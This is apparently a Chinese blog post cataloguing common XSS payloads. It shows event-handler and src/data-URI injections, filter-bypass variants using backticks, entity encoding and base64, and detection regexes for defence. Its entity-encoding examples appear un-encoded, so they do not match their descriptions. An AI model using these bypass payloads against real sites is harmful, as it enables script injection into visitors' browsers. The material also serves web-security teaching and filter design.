常见的XSS攻击代码
第⼀类:
<tag on*=*/>
在html标签中触发事件
Example:
1.加载完毕⾃动触发事件
<body onload="alert('xss')"></body>
2.使html某元素撑满整个页⾯
<p onclick="alert('1')" > </p>
3.增加属性触发事件(使⽤这个页⾯⼀直弹弹窗,关闭不了)
<input onfocus="alert('1')" autofocus/>
特殊字符' 、" 、( 、),如果遇到以上四个字符被过滤的情况,需要通过编码的⽅式去绕过。
Example:
1.不使⽤ "
<input onfocus=alert('1') autofocus/>
2.不使⽤ '
<input onfocus="alert(/1/)" autofocus/>
3.不使⽤ ( )
<input onfocus="alert`'1'`" autofocus/>
4.不使⽤ ' " ( )
<input onfocus=alert`1` autofocus/>
5.使⽤html实体编码绕过
<input onfocus="alert('1')" autofocus/>
6.使⽤html实体编码绕过变形
<input onfocus="alert('1')" autofocus/>
防范⽅式
Example:
1.使⽤环境允许插⼊html标签排版的情况下,很常见的就是将html事件熟悉转义为html实体编码字符,当然也可以直接拦截返回404。常见匹配策略 /on[^=]*=/ig
2.使⽤环境不允许插⼊html标签的情况下,不难看出所有的tag前⾯都紧贴着⼀个 “ < ” ,所以只需要将 “ < ” 使⽤html实体编码转换即可。常见匹配策略 /</g
第⼆类:<tag src=*/>
Example:
1.在iframe标签中加载⼀个脚本页⾯
<iframe src="./alert.html"></iframe>
2.在script标签中加载⼀个脚本
<script src="./alert.js"></script>
在src属性中可以使⽤可以直接请求⼀个外部连接,还可以⽤Data URI scheme直接嵌⼊⽂本
Example:
1.在iframe标签中使⽤Data URI scheme直接嵌⼊⽂本
<iframe src="data:text/html,<script>alert('1')</script>"></iframe>
2.在script标签中使⽤Data URI scheme直接嵌⼊⽂本
script在html中的用法<script src="data:text/html,alert('1')"></script>
使⽤Data URI scheme直接嵌⼊⽂本,⽐较繁琐,但是这类的好处在于可以使⽤BASE64编码格式
Example:
1.在iframe标签中使⽤Data URI scheme直接嵌⼊BASE64编码后的⽂本
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnMScpPC9zY3JpcHQ+"></iframe>
2.在script标签中使⽤Data URI scheme直接嵌⼊BASE64编码后的⽂本
<script src="data:text/html;base64,YWxlcnQoJzEnKQ=="></script>
在该类型的变形中还可以结合第⼀类的变形使⽤
Example:
1.使⽤html实体编码URI
<script src="./alert.js"></script>
2.使⽤html实体编码Data URI scheme
<script src="data:text/html,alert('1')"></script>
3.使⽤html实体编码BASE64编码之后的Data URI scheme
<script src="data:text/html;base64,YWxlcnQoJzEnK
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论